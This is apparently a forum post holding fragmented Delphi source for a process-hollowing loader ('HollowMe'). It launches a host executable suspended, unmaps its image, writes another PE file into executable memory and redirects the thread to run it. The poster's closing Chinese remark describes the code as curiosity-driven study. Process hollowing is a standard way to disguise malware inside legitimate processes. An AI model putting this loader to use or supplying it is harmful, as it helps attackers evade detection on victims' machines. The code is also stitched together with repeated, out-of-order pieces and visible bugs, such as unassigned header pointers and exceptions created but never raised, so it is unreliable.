case ptrImageFileHeader^.Machine of IMAGE_FILE_MACHINE_AMD64 : begin if not ALoaderX64 then Exception.Create('Cannot load X86-64 PE file from a X86-32 Loader.'); end;
IMAGE_FILE_MACHINE_I386 : begin if ALoaderX64 then Exception.Create('Cannot load X86-32 PE file from a X86-64 Loader.'); end; end;
if not ReadProcessMemory(AProcessInfo.hProcess, pImageBaseOffset, @AImageBase, SizeOf(NativeUInt), ABytesRead) then raise EWindowsException.Create('ReadProcessMemory');
if NtUnmapViewOfSection(AProcessInfo.hProcess, Pointer(AImageBase)) <> 0 then raise Exception.Create('Could not unmap section.');
if not SetThreadContext(AProcessInfo.hThread, pThreadContext^) then raise EWindowsException.Create('SetThreadContext');
if ResumeThread(AProcessInfo.hThread) = 0 then raise EWindowsException.Create('ResumeThread'); end;
procedure HollowMe(const APEFile, APEHost : String); overload; var ABuffer : array of byte; hFile : THandle; AFileSize : Int64; ABytesRead : DWORD; begin if not FileExists(APEFile) then raise Exception.Create(Format('File "%s" does not exists.', [APEFile])); ///
hFile := CreateFile( PWideChar(APEFile), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0 ); if hFile = INVALID_HANDLE_VALUE then raise EWindowsException.Create('CreateFile');
try if not GetFileSizeEx(hFile, AFileSize) then raise EWindowsException.Create('GetFileSizeEx');
if AFileSize = 0 then raise Exception.Create('Invalid PE File Size.');
SetLength(ABuffer, AFileSize);
if not ReadFile(hFile, ABuffer[0], AFileSize, ABytesRead, nil) then raise EWindowsException.Create('ReadFile'); finally CloseHandle(hFile); end;
constructor EInvalidPEFile.Create(const AReason: String); begin inherited Create(Format('Invalid Windows PE File: "%s"', [AReason])); end;
procedure WriteProcessMemoryEx(const hProcess: THandle; const pOffset, pData: Pointer; const ADataSize: SIZE_T); var ABytesWritten: SIZE_T; begin if not WriteProcessMemory(hProcess, pOffset, pData, ADataSize, ABytesWritten) then raise EWindowsException.Create('WriteProcessMemory'); end;
function OSVersion: string; begin Result := 'Unknown (Windows ' + IntToStr(Win32MajorVersion) + '.' + IntToStr(Win32MinorVersion) + ')'; case Win32MajorVersion of 4: case Win32MinorVersion of 0: Result := 'Windows 95'; 10: Result := 'Windows 98'; 90: Result := 'Windows ME'; end; 5: case Win32MinorVersion of 0: Result := 'Windows 2000'; 1: Result := 'Windows XP'; end; 6: case Win32MinorVersion of 0: Result := 'Windows Vista'; 1: Result := 'Windows 7'; 2: Result := 'Windows 8'; 3: Result := 'Windows 8.1'; end; 10: case Win32MinorVersion of 0: Result := 'Windows 10'; end; end; end;
procedure HollowMe(const pPEBuffer: PVOID; const APEBufferSize: Int64; APEHost: String); overload; var AStartupInfo: TStartupInfo; AProcessInfo: TProcessInformation; pThreadContext: PContext; AImageBase: NativeUInt; pOffset: Pointer; ABytesRead: SIZE_T; ptrImageDosHeader: PImageDosHeader; AImageNtHeaderSignature: DWORD; ptrImageFileHeader: PImageFileHeader; I: Integer; pSectionHeader: PImageSectionHeader; pPayloadAddress: Pointer; pImageBaseOffset: Pointer; ALoaderX64: Boolean; {$IFDEF WIN64} pOptionalHeader: PImageOptionalHeader64; {$ELSE} pOptionalHeader: PImageOptionalHeader32; {$ENDIF} begin if (not Assigned(pPEBuffer)) or (APEBufferSize = 0) then raise Exception.Create('Memory buffer is not valid.');
pOffset := pPEBuffer;
ptrImageDosHeader := PImageDosHeader(pOffset);
if ptrImageDosHeader^.e_magic <> IMAGE_DOS_SIGNATURE then raise EInvalidPEFile.Create('IMAGE_DOS_SIGNATURE');
{$IFDEF WIN64} ALoaderX64 := True; {$ELSE} ALoaderX64 := False; {$ENDIF} case ptrImageFileHeader^.Machine of IMAGE_FILE_MACHINE_AMD64: begin if not ALoaderX64 then Exception.Create('Cannot load X86-64 PE file from a X86-32 Loader.'); end;
IMAGE_FILE_MACHINE_I386: begin if ALoaderX64 then Exception.Create('Cannot load X86-32 PE file from a X86-64 Loader.'); end; end;
if not CreateProcessW(PWideChar(APEHost), nil, nil, nil, False, CREATE_SUSPENDED, nil, nil, AStartupInfo, AProcessInfo) then raise EWindowsException.Create('CreateProcessW');
if not GetThreadContext(AProcessInfo.hThread, pThreadContext^) then raise EWindowsException.Create('GetThreadContext');
{$IFDEF WIN64} pImageBaseOffset := Pointer(pThreadContext^.Rdx + (SizeOf(Pointer) * 2)); {$ELSE} pImageBaseOffset := Pointer(pThreadContext^.Ebx + (SizeOf(Pointer) * 2)); {$ENDIF} if not ReadProcessMemory(AProcessInfo.hProcess, pImageBaseOffset, @AImageBase, SizeOf(NativeUInt), ABytesRead) then raise EWindowsException.Create('ReadProcessMemory');
{$IFDEF WIN64} if NtUnmapViewOfSection(AProcessInfo.hProcess, Pointer(AImageBase)) <> 0 then raise Exception.Create('Could not unmap section.'); {$ENDIF}
pPayloadAddress := VirtualAllocEx(AProcessInfo.hProcess, nil, pOptionalHeader^.SizeOfImage, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if not Assigned(pPayloadAddress) then raise EWindowsException.Create('VirtualAllocEx');
for I := 1 to ptrImageFileHeader^.NumberOfSections do begin try if pSectionHeader^.SizeOfRawData <> 0 then begin WriteProcessMemoryEx(AProcessInfo.hProcess, Pointer(NativeUInt(pPayloadAddress) + pSectionHeader^.VirtualAddress), Pointer(NativeUInt(pPEBuffer) + pSectionHeader^.PointerToRawData), pSectionHeader^.SizeOfRawData); end; finally pSectionHeader := Pointer(NativeUInt(pSectionHeader) + SizeOf(TImageSectionHeader)); end; end;
{$IFDEF WIN64} pThreadContext^.Rcx := NativeUInt(pPayloadAddress) + pOptionalHeader^.AddressOfEntryPoint; if OSVersion = 'Windows 7' then pThreadContext^.Rcx := pOptionalHeader^.ImageBase + pOptionalHeader^.AddressOfEntryPoint; {$ELSE} pThreadContext^.Eax := NativeUInt(pPayloadAddress) + pOptionalHeader^.AddressOfEntryPoint; if OSVersion = 'Windows 7' then pThreadContext^.Eax := pOptionalHeader^.ImageBase + pOptionalHeader^.AddressOfEntryPoint; {$ENDIF} WriteProcessMemoryEx(AProcessInfo.hProcess, pImageBaseOffset, @pPayloadAddress, SizeOf(Pointer));
if not SetThreadContext(AProcessInfo.hThread, pThreadContext^) then raise EWindowsException.Create('SetThreadContext');
if ResumeThread(AProcessInfo.hThread) = 0 then raise EWindowsException.Create('ResumeThread'); end;
procedure HollowMe(const APEFile, APEHost: String); overload; var ABuffer: array of byte; hFile: THandle; AFileSize: Int64; ABytesRead: DWORD; begin if not FileExists(APEFile) then raise Exception.Create(Format('File "%s" does not exists.', [APEFile]));
hFile := CreateFile(PWideChar(APEFile), GENERIC_READ, FILE_SHARE_READ, nil, OPEN_EXISTING, 0, 0); if hFile = INVALID_HANDLE_VALUE then raise EWindowsException.Create('CreateFile');
try if not GetFileSizeEx(hFile, AFileSize) then raise EWindowsException.Create('GetFileSizeEx');
if AFileSize = 0 then raise Exception.Create('Invalid PE File Size.');
SetLength(ABuffer, AFileSize);
if not ReadFile(hFile, ABuffer[0], AFileSize, ABytesRead, nil) then raise EWindowsException.Create('ReadFile'); finally CloseHandle(hFile); end;
@138soft 就是偶然看到了这个代码,然后感兴趣就拿来研究下,没实际用处的。毕竟平时做的大多是数据库相关的系统,这种涉及到系统API和H A C K技术的东西接触的少,纯属兴趣研究。谢谢你的帮助和回答。
----------------------------------------------
-